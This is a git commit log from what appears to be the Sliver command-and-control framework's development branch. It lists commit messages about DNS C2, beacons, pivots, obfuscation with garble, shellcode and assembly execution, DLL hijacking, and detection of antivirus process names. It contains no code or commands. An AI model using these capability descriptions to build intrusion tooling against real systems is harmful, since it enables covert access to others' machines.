moloch-- 9c878527a5 Small refactor of exts layout 2021-12-24 12:47:56 -06:00
moloch-- f81419614d Added local file completer, and more generic client asset unpacker 2021-12-24 11:46:21 -06:00
moloch-- 368442e094 Small refactor of macro->alias and exts 2021-12-24 10:09:49 -06:00
moloch-- 670c4b7f9a Improved ux 2021-12-24 09:19:37 -06:00
moloch-- 77693c6be1 socks and wg-socks use same subcommands 2021-12-23 20:51:58 -06:00
moloch-- 35bd3fd44a Converted website tables 2021-12-23 20:45:20 -06:00
moloch-- a916f8b38b Converted wg tables 2021-12-23 20:39:52 -06:00
moloch-- fa2645e186 Converted jobs tables 2021-12-23 20:27:23 -06:00
moloch-- 597950fa0a Converted more tables 2021-12-23 20:18:37 -06:00
moloch-- 2acced66f1 Minor cleanup 2021-12-23 17:43:16 -06:00
rkervella 39a6e13ae4 Remove last CGO artifacts for shellcode generation 2021-12-23 10:38:19 -08:00
moloch-- 3b7db1dea0 Fix cross-compiling cgo in makefile 2021-12-22 14:06:53 -06:00
moloch-- 46d32e6130 Changed default db back to cgo 2021-12-22 13:55:12 -06:00
moloch-- 815bf3c479 Fix off by one in SplitBuffer 2021-12-22 10:27:10 -06:00
moloch-- a4e28f37de Fix race in size check of large dns msgs 2021-12-22 09:49:17 -06:00
moloch-- ddc94ba556 Potential fix for dns extra bytes race 2021-12-22 08:50:45 -06:00
moloch-- bf484828cd Wired up active-c2 and proxy url 2021-12-22 08:21:13 -06:00
moloch-- 8deb2c7bca Attempting to fix intermitten bug in dns boundry calculations 2021-12-21 22:04:34 -06:00
moloch-- f9c58caa78 parse all c2 args as urls 2021-12-21 20:56:50 -06:00
moloch-- ba6eda99c8 Small fix to dns client 2021-12-21 18:13:58 -06:00
moloch-- 09b441f132 updated readme 2021-12-21 17:23:04 -06:00
moloch-- 08bcff0517 gosqlite seems to work now 2021-12-21 17:20:37 -06:00
moloch-- a2d63eb4e9 gosqlite seems to work now 2021-12-21 17:11:44 -06:00
moloch-- cde5b8c2db Actually use pure go sqlite 2021-12-21 16:25:57 -06:00
moloch-- bfed9c9343 Merge branch 'v1.5.0_pivots' into stage 2021-12-21 14:51:53 -06:00
moloch-- 8adab5786b unit tests pass 2021-12-21 12:03:03 -06:00
moloch-- d2a7feba5e Remove sql.go import 2021-12-21 12:03:03 -06:00
rkervella b4d939bcb9 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-12-20 15:34:11 -08:00
rkervella 4d068268e2 Set default implant sleep to non-zero value 2021-12-20 15:34:06 -08:00
rkervella dd52cefc22 Move sleep time to constant 2021-12-20 15:32:43 -08:00
rkervella 3c9b8bb2cc Merge branch 'v1.5.0_pivots' of bishopfox.github.com:BishopFox/sliver into v1.5.0_pivots 2021-12-20 15:26:37 -08:00
rkervella 8af24c9c3e Fix prelude stuff 2021-12-20 15:26:28 -08:00
usiegl00 2e1aa54130 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2021-12-20 07:38:46 +09:00
moloch-- 5083ca3397 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:59:51 -06:00
moloch-- 57b3ee28a7 Merged gosqlite, added built tags for gosqlite/csqlite 2021-12-19 08:50:50 -06:00
moloch-- 2468abed25 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:40:33 -06:00
moloch-- a3cb2bca44 comments 2021-12-19 08:40:19 -06:00
moloch-- 122e5bf3b0 Unit tests pass 2021-12-18 20:55:02 -06:00
moloch-- 09a0cc5a67 Merge branch 'v1.5.0_pivots' into go-sqlite 2021-12-18 18:02:19 -06:00
moloch-- c8a9094a90 commands, tunnels, etc. working 2021-12-18 12:16:23 -06:00
moloch-- 4247a0ddf8 wip: Pivots connect to the server and can exchange messages 2021-12-18 11:37:41 -06:00
moloch-- c8834f63ef Pivot/peer->server key exchange working 2021-12-17 17:35:36 -06:00
usiegl00 97715302a3 Add registry delete command 2021-12-17 20:43:31 +09:00
moloch-- 1fd74f69ea Go v1.17.5 2021-12-11 11:57:10 -08:00
moloch-- 4dfa46c7ae Merge branch 'stage' into v1.5.0_pivots 2021-12-07 14:41:09 -08:00
moloch-- 6f8c726863 tweak max literal sizes 2021-12-07 12:42:06 -08:00
moloch-- 763c46bd37 wip 2021-12-03 21:44:57 -06:00
moloch-- a37749bf50 Fix byte type 2021-12-02 21:32:40 -06:00
rkervella 0c7c7b54d3 Fix #544 2021-11-30 10:18:09 +01:00
rkervella 832ac585f7 Merge branch 'cert-issue' into stage 2021-11-30 10:09:59 +01:00
Joe 14492dfbcb Merge pull request #550 from usiegl00/stage
Expand tilde in generate file path
2021-11-29 20:10:24 -06:00
usiegl00 1e283e54a9 Expand tilde in generate file path 2021-11-30 09:59:05 +09:00
Ronan Kervella f679e99403 Merge pull request #549 from usiegl00/stage
Add CmdLine to Windows process list.
2021-11-29 12:09:11 +01:00
usiegl00 aab7143708 Add CmdLine to Windows process list 2021-11-29 19:19:14 +09:00
Joe 886ab348f4 Merge pull request #548 from cmprmsd/patch-1
Add Bitdefender Process Names
2021-11-28 15:07:49 -06:00
cmprmsd 8211f8f0e4 Add Bitdefender Process Names
Feel free to remove the source that I added to find out about "Bitdefender redline update"
2021-11-28 11:46:47 +01:00
moloch-- 05cc038f2f remove cc logic from makefile 2021-11-26 09:55:49 -06:00
moloch-- 1117f9b9c9 remove cc logic from makefile 2021-11-26 09:55:25 -06:00
moloch-- 8670f50150 pure go sqlite working 2021-11-26 09:50:40 -06:00
moloch-- 3613a2ffe3 wip on server-side key exchange 2021-11-26 09:38:51 -06:00
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
moloch-- de27a5e132 Fix peer envelope handler scheme 2021-11-23 08:29:30 -06:00
moloch-- 2051abd663 pivots wip, fixed socks ui bugs 2021-11-22 19:37:18 -06:00
rkervella b87a7034a9 Only log in when in debug mode 2021-11-22 09:55:56 +01:00
moloch-- 8914559aec Pivot con wip 2021-11-21 22:42:05 -06:00
moloch-- 7f84913ab2 Added failure detection 2021-11-21 18:17:03 -06:00
moloch-- 84494c1ad4 tweaked peer design 2021-11-21 17:25:04 -06:00
moloch-- 33a9fd6eae Peer key exchange working 2021-11-21 16:26:59 -06:00
moloch-- 33e72b9601 Outlined updated pivots 2021-11-21 12:00:12 -06:00
moloch-- 45be3dff80 gopsutil v3 2021-11-21 08:18:51 -06:00
moloch-- 325fd47401 Insert minisign sigs, enable variable literal obf 2021-11-21 08:16:39 -06:00
moloch-- 526c3c104a Fix unit tests, added util.gzip funcs 2021-11-20 20:42:13 -06:00
moloch-- c4542d8def Added more unit tests for minisign 2021-11-20 20:22:35 -06:00
moloch-- ade83e551f Added minisign keys to db key/value 2021-11-20 19:30:30 -06:00
moloch-- a7da3027ac Moved secrets to db 2021-11-20 18:42:57 -06:00
moloch-- edc6d21c23 Fixed dns beacon reconnect problems 2021-11-20 16:23:44 -06:00
moloch-- 31ca964e6c Fixes to beacon key life cycle 2021-11-20 15:36:31 -06:00
moloch-- 735ae74f1d Fix state revert bug 2021-11-20 14:54:12 -06:00
moloch-- 49679538eb Made beacon registration eventable 2021-11-20 14:27:31 -06:00
moloch-- 000ca54a15 nil resp check 2021-11-20 11:29:16 -06:00
moloch-- eb615f3add Fixed poll truncation/race issue #540 2021-11-20 11:23:37 -06:00
moloch-- acb0f857b3 Force generation of secure password 2021-11-20 09:54:23 -06:00
moloch-- 610d8b18c9 Force generation of secure password 2021-11-20 09:51:12 -06:00
moloch-- edf126c149 Warn user about socks proxy creds 2021-11-20 09:48:33 -06:00
moloch-- 1794d0cebd Renable socks user/pw 2021-11-20 09:45:07 -06:00
moloch-- e66d563f65 Fix nil RemoteAddr deref 2021-11-20 09:38:51 -06:00
moloch-- 8dd2b5d7ce Update socks api usage 2021-11-20 09:00:41 -06:00
moloch-- 10246681ba Switched deps to fork of memmod and go-socks5 2021-11-20 08:47:24 -06:00
moloch-- ed19017941 Update table 2021-11-20 08:37:46 -06:00
moloch-- c0116cc9d5 Tweaks to socks ux 2021-11-20 08:22:20 -06:00
moloch-- a890812a0a Fix logging levels 2021-11-19 20:43:30 -06:00
moloch-- b1922bce73 Fix log import 2021-11-19 20:15:39 -06:00
moloch-- 47aaeb0225 Merge socks 2021-11-19 19:44:56 -06:00
moloch-- 61c844db44 Rebase 2021-11-19 19:41:23 -06:00
moloch-- 35bbc61a9a Stage socks branch 2021-11-19 19:39:57 -06:00
moloch-- 6453f477f4 Fix fmt import 2021-11-19 19:39:57 -06:00
moloch-- b0709a364a Tweaked dns c2 2021-11-19 19:39:55 -06:00
moloch-- 2e65e1842f Moving to per-c2 opts 2021-11-19 19:39:45 -06:00
moloch-- c068664854 Wire dns c2 to beacon interface 2021-11-19 19:39:45 -06:00
moloch-- e9debcc2a4 Increase default workers 2021-11-19 19:39:45 -06:00
moloch-- 7ae2d0a481 DNS C2 mvp 2021-11-19 19:39:44 -06:00
moloch-- b62e3354e0 Wired send loop 2021-11-19 19:39:44 -06:00
moloch-- e55afa7efe Outlined the rest of server-side dns c2 2021-11-19 19:39:44 -06:00
moloch-- 65dc11a40e Wired dns recv to core 2021-11-19 19:39:44 -06:00
moloch-- 2620673f50 More/larger tests 2021-11-19 19:39:44 -06:00
moloch-- e22d3ac58e Re-assemble unit tests 2021-11-19 19:39:44 -06:00
moloch-- 604c3480cf Updated garble 2021-11-19 19:39:44 -06:00
rkervella ca8544a169 No need for CGO for shellcodes anymore 2021-11-19 19:39:44 -06:00
rkervella e1713bd418 Add missing Request field 2021-11-19 19:39:44 -06:00
rkervella 0649a2680b Switch upstream memmod to up to date version 2021-11-19 19:39:44 -06:00
rkervella 280f5c6be7 Fix flag name 2021-11-19 19:39:44 -06:00
rkervella 77ddfd8013 Add error handling 2021-11-19 19:39:44 -06:00
rkervella 48d2eed385 Replace protobuf annotations with unique strings 2021-11-19 19:39:44 -06:00
moloch-- 36d531fa86 Entrypoint -> StartW 2021-11-19 19:39:44 -06:00
moloch-- ab2ab45edc Improved worker/queue pattern 2021-11-19 19:39:44 -06:00
moloch-- 2b2c1bdc13 splitBuffer tests for max parent 2021-11-19 19:39:44 -06:00
moloch-- 983b5476bd splitBuffer tests for b32 and b58 2021-11-19 19:39:43 -06:00
moloch-- cbd95a2003 tests and fixes for splitBuffer 2021-11-19 19:39:43 -06:00
moloch-- a3b1693a41 dnsclient unit tests 2021-11-19 19:39:43 -06:00
moloch-- 434ca2fee9 Improved unit tests 2021-11-19 19:39:43 -06:00
moloch-- 92ef847a59 wip on server-side send/recv impl 2021-11-19 19:39:43 -06:00
moloch-- 800c584397 Added variable encoding, wip 2021-11-19 19:39:43 -06:00
moloch-- b2a2dac63b Initial fingerprint impl working 2021-11-19 19:39:43 -06:00
moloch-- 954616b5a3 outlined fingerprint scheme 2021-11-19 19:39:43 -06:00
moloch-- 2cd4264101 Abstracted resolver impl 2021-11-19 19:39:43 -06:00
moloch-- b8d78c56e9 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- c5262aa807 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- 17dba3543d wip on dns c2 updates 2021-11-19 19:39:43 -06:00
moloch-- 7b0a83027e Modified base58 alphabet 2021-11-19 19:39:43 -06:00
moloch-- f46f7a36ff Updated b58 unit tests 2021-11-19 19:39:43 -06:00
moloch-- a369c46952 Base62 -> Base58 2021-11-19 19:39:43 -06:00
moloch-- 907ef9ca2f Updated lics 2021-11-19 19:39:43 -06:00
moloch-- 4df5c78b7e Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-11-19 19:39:43 -06:00
moloch-- 3765e016b4 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- 6fa06e8d74 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- c3841efcef Fix dns imports 2021-11-19 19:39:42 -06:00
moloch-- 508e9ab9d9 dns wip 2021-11-19 19:39:42 -06:00
moloch-- 433482031c added pb 2021-11-19 19:39:42 -06:00
moloch-- a4a94eca98 some initial refactoring 2021-11-19 19:39:42 -06:00
moloch-- ecea6049a8 check n bytes 2021-11-19 19:39:42 -06:00
moloch-- 1767c34f47 Go v1.17.2 2021-11-19 19:39:42 -06:00
moloch-- 6fd1e4802b Cleanup tunnel read() 2021-11-19 19:39:42 -06:00
moloch-- f745d9524e Remove server core import 2021-11-19 19:39:42 -06:00
rkervella a8464d5b0c Fix DLL hijack protobuf 2021-11-19 19:39:40 -06:00
rkervella cc7a56e07b Close connection once payload has been sent. 2021-11-19 19:38:32 -06:00
Chris Smith cdbf93d64b Enable hyphen in operator names 2021-11-19 19:38:32 -06:00
rkervella fdd319f6f3 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-11-19 19:38:32 -06:00
dependabot[bot] 22f840acbd Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-11-19 19:38:32 -06:00
moloch-- 9d200bb2aa mvp of open session 2021-11-19 19:38:32 -06:00
moloch-- 17b6cf7a5e OpenSession wip 2021-11-19 19:38:30 -06:00
moloch-- 22efd18301 Modified connection pattern to support runtime values 2021-11-19 19:38:14 -06:00
rkervella 4d45883c72 Fix Sprintf statement 2021-11-19 19:36:56 -06:00
rkervella b98bf6ef53 Fix short flag conflict 2021-11-19 19:36:56 -06:00
rkervella 65ea935750 Add missing flag, rename short flag 2021-11-19 19:36:56 -06:00
rkervella 9865ee2396 Update COFF Loader version 2021-11-19 19:36:56 -06:00
rkervella ca7cf74387 Remove double build constraints 2021-11-19 19:36:56 -06:00
rkervella 9eb6fda037 Rework uintptr cast to avoid size limitation 2021-11-19 19:36:56 -06:00
rkervella 1a5eb1c118 Fix flags types and help string 2021-11-19 19:36:56 -06:00
rkervella f43d01b4b0 Add kill support for beacons 2021-11-19 19:36:54 -06:00
moloch-- 96fe3c7db8 Regenerate pb 2021-11-19 19:36:23 -06:00
Raf 8188ba689d client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-11-19 19:36:00 -06:00
rkervella 4517684728 Refactor to use GetInteractive() 2021-11-19 19:35:08 -06:00
rkervella ab1b72f410 Cleaning up Windows kill handler 2021-11-19 19:35:08 -06:00
rkervella fd83024e4b Add autocomplete for use 2021-11-19 19:35:08 -06:00
rkervella 18ee8e5133 Switch beacons command to the Generic help group 2021-11-19 19:35:07 -06:00
rkervella 5a96962611 Switch beacons command to the proper help group 2021-11-19 19:35:07 -06:00
rkervella 85b592b2b9 Add helpgroup for beacons 2021-11-19 19:35:07 -06:00
moloch-- 91a569f389 Implemented beacon priv cmds 2021-11-19 19:35:07 -06:00
moloch-- b646ca835c Implemented beacon registry cmds 2021-11-19 19:35:07 -06:00
moloch-- 26993f797c Implemented beacon screenshot 2021-11-19 19:35:07 -06:00
moloch-- ec743b2e85 Implemented beacon proc cmds 2021-11-19 19:35:07 -06:00
moloch-- 0ac43c69d6 Implemented task fetch for netstat 2021-11-19 19:35:07 -06:00
moloch-- a2f8bac4b1 Ported netstat to beacon/table writer 2021-11-19 19:35:07 -06:00
moloch-- 2c9643b404 Added support for GOPROXY env var and server config 2021-11-19 19:35:07 -06:00
moloch-- 1239b5fd87 Added multiplayer -p flag 2021-11-19 19:35:07 -06:00
moloch-- d904a74d14 Added new flags to http/https listeners 2021-11-19 19:35:07 -06:00
moloch-- 60aaeebe0b Added --all to ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 000ecb51eb Added beacon prune command 2021-11-19 19:35:07 -06:00
moloch-- fbddd67930 Added beacon watch command 2021-11-19 19:35:07 -06:00
moloch-- 10f7b000b4 implemented ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 2f3ebbfcd5 Task fetch for ssh, and env tasks 2021-11-19 19:35:06 -06:00
moloch-- b54d97b497 Implemented task fetch for exec pkg 2021-11-19 19:35:06 -06:00
moloch-- eedfb272a5 Implemented more task fetch renderers 2021-11-19 19:35:06 -06:00
moloch-- 47857e903c Added command to fetch old task results 2021-11-19 19:35:06 -06:00
moloch-- 0da314d925 Updated ssh to work with beacon 2021-11-19 19:35:06 -06:00
moloch-- c132b14272 Updated spawndll client cmd 2021-11-19 19:35:06 -06:00
moloch-- f6b7e07653 Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-11-19 19:35:06 -06:00
moloch-- 60cbf09520 Ported msf/msf-remote to support beacon 2021-11-19 19:35:04 -06:00
moloch-- 0090e8dfd8 Added beacon support to execute-shellcode 2021-11-19 19:34:11 -06:00
moloch-- 099753fa74 Added beacon support to execute-assembly 2021-11-19 19:34:11 -06:00
moloch-- 6685bf486e Only paginate on 2x terminal sized tables 2021-11-19 19:34:11 -06:00
moloch-- 6d5a288626 UX improvements 2021-11-19 19:34:11 -06:00
rkervella 3bf157b29d Refactor 2021-11-19 19:34:11 -06:00
rkervella 146be0e814 Revert "Refactoring"
This reverts commit de7fd664cd.
2021-11-19 19:34:11 -06:00
rkervella 065fc3ffa6 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-11-19 19:34:11 -06:00
rkervella d3da84731f Refactoring 2021-11-19 19:34:11 -06:00
rkervella b451d90a33 Escape string before JSON parsing 2021-11-19 19:34:11 -06:00
rkervella c01ace4a67 Add PID to bof result 2021-11-19 19:34:10 -06:00
rkervella e8d22af3bc Check for nil pointer 2021-11-19 19:34:10 -06:00
rkervella 50f83c958b Removed comment 2021-11-19 19:34:10 -06:00
rkervella 6ac9a16aa7 Remove commented code 2021-11-19 19:34:10 -06:00
rkervella caad9de26c Initial BOF support for Prelude Operator 2021-11-19 19:34:10 -06:00
rkervella 70805d04f7 Remove logging 2021-11-19 19:34:10 -06:00
moloch-- a3b98716a7 Stage socks branch 2021-11-19 19:28:52 -06:00
moloch-- 24f6a9d8ab Fix fmt import 2021-11-19 17:26:52 -06:00
moloch-- d6b5571c7e Tweaked dns c2 2021-11-19 17:02:34 -06:00
moloch-- c0b08cbd42 Moving to per-c2 opts 2021-11-19 15:09:06 -06:00
moloch-- d567a21f8c Wire dns c2 to beacon interface 2021-11-19 13:28:13 -06:00
moloch-- 105d80cdb7 Increase default workers 2021-11-19 09:33:59 -06:00
moloch-- d1627c9030 DNS C2 mvp 2021-11-18 20:10:55 -06:00
moloch-- 661732012d Wired send loop 2021-11-18 12:43:51 -06:00
moloch-- f55f248fbc Outlined the rest of server-side dns c2 2021-11-18 11:24:50 -06:00
moloch-- 6817c5a117 Wired dns recv to core 2021-11-18 08:56:17 -06:00
moloch-- 6b31d6985a More/larger tests 2021-11-17 19:47:42 -06:00
moloch-- 47357c346a Re-assemble unit tests 2021-11-17 19:38:28 -06:00
moloch-- 970ff6b80b Updated garble 2021-11-17 14:48:01 -06:00
moloch-- 126dc44c44 Merge branch 'stage' into v1.5.0_dns2 2021-11-17 13:53:00 -06:00
moloch-- 4abc395485 Entrypoint -> StartW 2021-11-16 08:52:18 -06:00
rkervella 0f5284fb2d No need for CGO for shellcodes anymore 2021-11-15 14:21:32 +01:00
moloch-- 0f4dc27498 Improved worker/queue pattern 2021-11-14 15:16:39 -06:00
moloch-- 7ea5039e9a splitBuffer tests for max parent 2021-11-14 13:25:58 -06:00
moloch-- b1e4a016d4 splitBuffer tests for b32 and b58 2021-11-14 13:19:18 -06:00
moloch-- 785810ebea tests and fixes for splitBuffer 2021-11-14 10:44:52 -06:00
moloch-- 5779f337d0 dnsclient unit tests 2021-11-14 09:10:28 -06:00
moloch-- ab93f0d1c6 Improved unit tests 2021-11-13 13:40:15 -06:00
moloch-- d4cc59d1e6 wip on server-side send/recv impl 2021-11-09 18:43:55 -06:00
rkervella 03d1f92441 Merge branch 'v1.5.0_beacon' into stage 2021-11-09 11:23:24 +01:00
rkervella 77ddf234bd Add missing Request field 2021-11-09 11:22:02 +01:00
rkervella a53bc17665 Switch upstream memmod to up to date version 2021-11-08 10:09:14 +01:00
moloch-- 1682f58801 Added variable encoding, wip 2021-11-06 19:16:06 -05:00
moloch-- 3d4e76990c Initial fingerprint impl working 2021-11-06 13:14:46 -05:00
moloch-- d97fb249a8 outlined fingerprint scheme 2021-11-05 17:46:29 -05:00
rkervella e8714dbdec Fix flag name 2021-11-03 11:48:59 +01:00
rkervella f69a4f8b92 Add error handling 2021-11-03 10:34:04 +01:00
moloch-- c2925a8a57 Abstracted resolver impl 2021-11-02 19:46:14 -05:00
moloch-- 6484b0c5a6 Platform specific find resolvers 2021-11-01 10:59:37 -05:00
moloch-- 338b8bb5b2 Platform specific find resolvers 2021-11-01 10:55:12 -05:00
moloch-- 15ca3871dd wip on dns c2 updates 2021-10-31 15:50:13 -05:00
moloch-- f11a1333bb Modified base58 alphabet 2021-10-31 10:40:27 -05:00
moloch-- 4a2c9cb50e Updated b58 unit tests 2021-10-31 10:36:28 -05:00
moloch-- c8928b4864 Base62 -> Base58 2021-10-31 10:35:34 -05:00
moloch-- 13ecb9782b Updated lics 2021-10-30 15:33:23 -05:00
moloch-- 05ce79e986 Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-10-30 15:26:31 -05:00
moloch-- a3c7d057f6 Updated garble 2021-10-30 13:00:16 -05:00
moloch-- b3277d0f4c Updated garble 2021-10-30 12:51:09 -05:00
moloch-- 1f0e9d6995 Fix dns imports 2021-10-30 12:16:57 -05:00
moloch-- 478f677f55 dns wip 2021-10-30 11:30:22 -05:00
moloch-- 7463298de1 added pb 2021-10-30 09:45:19 -05:00
moloch-- 7306d439e1 some initial refactoring 2021-10-30 08:22:59 -05:00
rkervella 66d6e8043a Merge branch 'dont-merge-that' into stage 2021-10-29 19:00:40 +02:00
rkervella 11505d8f94 Replace protobuf annotations with unique strings 2021-10-29 19:00:13 +02:00
moloch-- 452d7b7fce check n bytes 2021-10-27 16:43:18 -05:00
moloch-- 606c5ac948 Go v1.17.2 2021-10-22 08:31:58 -05:00
moloch-- 8ee4f786b4 Cleanup tunnel read() 2021-10-21 08:46:15 -05:00
moloch-- 79a96368d0 Remove server core import 2021-10-21 08:44:00 -05:00
moloch-- 8176068bb5 Merge latest v1.5 2021-10-21 08:31:03 -05:00
moloch-- ff8de9922e Merge master 2021-10-21 08:29:05 -05:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella 56f339c8a3 Fix Sprintf statement 2021-10-21 15:13:29 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
moloch-- 9db930b10f mvp of open session 2021-10-09 17:49:03 -05:00
a3sroot 2fa6bc2e59 Defective socks 2021-10-05 11:57:29 +08:00
moloch-- 2e3f92ed22 OpenSession wip 2021-10-04 17:35:51 -05:00
rkervella c552a2fd9f Fix short flag conflict 2021-10-01 12:11:27 +02:00
rkervella e729576a6d Add missing flag, rename short flag 2021-10-01 12:05:32 +02:00
moloch-- c9f04b0a1c Modified connection pattern to support runtime values 2021-09-28 13:02:18 -10:00
rkervella a439c39d64 Update COFF Loader version 2021-09-28 10:44:58 +02:00
rkervella 0471a219c4 Remove double build constraints 2021-09-28 10:35:00 +02:00
rkervella 6631727242 Rework uintptr cast to avoid size limitation 2021-09-28 10:34:10 +02:00
rkervella c21171d739 Fix flags types and help string 2021-09-28 10:19:23 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
rkervella 4ad1f1a561 Add kill support for beacons 2021-09-28 10:15:51 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
rkervella ee8603b30c Merge branches 'v1.5.0_beacon' and 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-09-27 18:19:38 +02:00
rkervella 11ea01819f Refactor to use GetInteractive() 2021-09-27 11:05:30 +02:00
rkervella da39a82b83 Cleaning up Windows kill handler 2021-09-27 10:58:48 +02:00
rkervella 3ce730a469 Add autocomplete for use 2021-09-27 10:50:58 +02:00
rkervella f52ee8c28f Switch beacons command to the Generic help group 2021-09-27 10:37:08 +02:00
rkervella 150511df9b Switch beacons command to the proper help group 2021-09-27 10:36:20 +02:00
rkervella 3e8c3fc02e Add helpgroup for beacons 2021-09-27 10:32:09 +02:00
moloch-- 019d0d40f6 Regenerate pb 2021-09-26 19:47:54 -07:00
moloch-- 268aa95169 Merged v1.5.0_beacon 2021-09-26 19:47:23 -07:00
moloch-- 7775880277 Implemented beacon priv cmds 2021-09-26 19:31:05 -07:00
moloch-- ba541ffd43 Implemented beacon registry cmds 2021-09-26 18:44:59 -07:00
moloch-- a60cc86c9a Implemented beacon screenshot 2021-09-26 18:12:32 -07:00
moloch-- 0099e06cc6 Implemented beacon proc cmds 2021-09-26 17:41:18 -07:00
moloch-- b0fdec2700 Implemented task fetch for netstat 2021-09-26 15:43:28 -07:00
moloch-- 8419cf7442 Ported netstat to beacon/table writer 2021-09-26 15:38:24 -07:00
moloch-- d470543f98 Added support for GOPROXY env var and server config 2021-09-26 10:59:46 -05:00
moloch-- 84d41f063b Added multiplayer -p flag 2021-09-25 22:47:15 -05:00
moloch-- c876f34cd0 Added new flags to http/https listeners 2021-09-25 19:42:53 -05:00
moloch-- 7ba3f87afb Added --all to ifconfig 2021-09-25 17:57:26 -05:00
moloch-- 008f9c6fde Added beacon prune command 2021-09-25 17:16:21 -05:00
moloch-- 80e6c2a24e Added beacon watch command 2021-09-25 16:15:08 -05:00
moloch-- 69842674d2 implemented ifconfig 2021-09-25 15:34:23 -05:00
moloch-- b2f9ccfab6 Task fetch for ssh, and env tasks 2021-09-25 14:34:53 -05:00
moloch-- 358b6ab20d Implemented task fetch for exec pkg 2021-09-25 13:34:52 -05:00
moloch-- 268db3ce00 Implemented more task fetch renderers 2021-09-25 12:10:24 -05:00
moloch-- 03dfb2f5d9 Added command to fetch old task results 2021-09-25 10:07:29 -05:00
moloch-- d4e809d889 Updated ssh to work with beacon 2021-09-25 08:44:38 -05:00
moloch-- 6f6fd8f0f5 Updated spawndll client cmd 2021-09-25 08:21:45 -05:00
moloch-- f5e374293c Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-09-25 07:56:36 -05:00
moloch-- 8f12e35124 Ported msf/msf-remote to support beacon 2021-09-25 07:06:27 -05:00
moloch-- b27809d9ba Added beacon support to execute-shellcode 2021-09-24 22:52:13 -05:00
moloch-- 377d56bda3 Added beacon support to execute-assembly 2021-09-24 22:35:46 -05:00
moloch-- 4bcb0cb61f Only paginate on 2x terminal sized tables 2021-09-24 20:46:17 -05:00
moloch-- 9d6870e792 UX improvements 2021-09-24 19:34:44 -05:00
moloch-- 93b1e3a7b4 Fix use context switch 2021-09-23 20:37:06 -05:00
moloch-- 90f799a6f2 UX improvements 2021-09-23 19:23:13 -05:00
moloch-- 251423bc28 Improved beacon ux 2021-09-23 15:38:57 -05:00
moloch-- 03957f4d01 Fix next/last checkin for beacons 2021-09-23 13:50:31 -05:00
moloch-- a7d07e372a Bug fixes to http(s) beacons 2021-09-23 08:42:55 -05:00
moloch-- 364b0d6f57 Added http close() 2021-09-22 14:42:58 -05:00
moloch-- 52ef179988 Improved comments 2021-09-22 07:52:55 -05:00
moloch-- 79a50d24fe Go v1.17.1 2021-09-21 09:19:50 -05:00
moloch-- 4e23091147 Send hash of public key instead of public key 2021-09-20 19:02:19 -05:00
moloch-- 98e7f7abf8 New key exchange working 2021-09-20 18:32:54 -05:00
moloch-- 92e833a481 Fixes/refactor to mtls 2021-09-20 17:30:53 -05:00
moloch-- b442f95a7b Major refactor of core crypto 2021-09-20 16:33:36 -05:00
moloch-- da8d5b8a0c wip on pivots 2021-09-19 20:41:46 -05:00
moloch-- 3151b559a6 Added chacha20poly1305 to cryptography 2021-09-17 16:36:33 -05:00
moloch-- b02489a5d3 Fixes/updates operators status command 2021-09-14 19:13:42 -05:00
moloch-- eb57802c28 More strict auth checks in middleware 2021-09-14 16:45:31 -05:00
Joe 767644ddc3 Merge pull request #510 from RafBishopFox/stage
